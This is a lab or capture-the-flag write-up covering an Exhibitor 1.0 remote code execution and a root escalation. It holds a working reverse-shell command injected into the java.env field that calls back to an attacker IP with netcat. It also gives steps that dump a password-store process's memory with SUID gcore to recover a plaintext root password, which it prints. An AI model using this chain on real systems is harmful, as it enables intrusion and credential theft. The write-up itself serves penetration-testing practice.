Enumeration

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- 1: Use autorecon to enumerate its services, **22**, **139**, **445**, **631**, **2181**, **2222**, **8080**, **8081**, **44091** are open
- 2: **SMB** is not the right way, one share deny my access, while one other share disallow list
- 3: IPP and Zookeeper's version do not have any helpful exploit for me
- 4: According to scanning result, 8080 and 8081 are all HTTP services, however, 8081 will **redirect** user to one of **8080's URL**
- 5: It is **Exhibitor** application. And its version is about **1.0**. Search for its exploit, and I find one could be possible: https://www.exploit-db.com/exploits/48654

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1: Follow steps in the exploit, set up a netcat listener, and commit a change to java.env script field: \$(nc 192.168.49.61 445 -e /bin/bash)

2: Wait for some seconds, and I get a shell

Privilege Escalation

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- 1: Download linpeas.sh from Kali VM, run it
- 2: There are multiple possible vectors: two **user-defined cronjobs**, **password-store** is **SUID**, **pkexec** is **SUID**, **gcore** is **SUID** and the one I can execute it with **root permission** without a password
- 3: One of cronjob is not helpful, another one regards to **password-store** reveals that password-store is the key to escalate privilege
- 4: gcore is not in GTFOBins list, however, after searching info about it, it is used to **debug a process** and generate an output file
- 5: password-store appears to store something related to **password**, use **gcore** to debug it, and analyze its output file to see if **plaintext password** contained
- 6: ps aux | grep password-store, PID of it is 493
- 7: gcore -a -o password 493, an output file generated
- 8: strings password.493, search for plaintext password
- 9: And plaintext password of root does exist, it is ClogKingpinInning731
- 10: su root, with password
- 11: Get root shell

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- 1: Target HTTP service
- 2: Identify the bind of Exhibitor and Zookeeper
- 3: Follow steps to launch RCE attack
- 4: Combine password-store and gcore to escalate privilege
- 5: Search for **plaintext password**, switch to root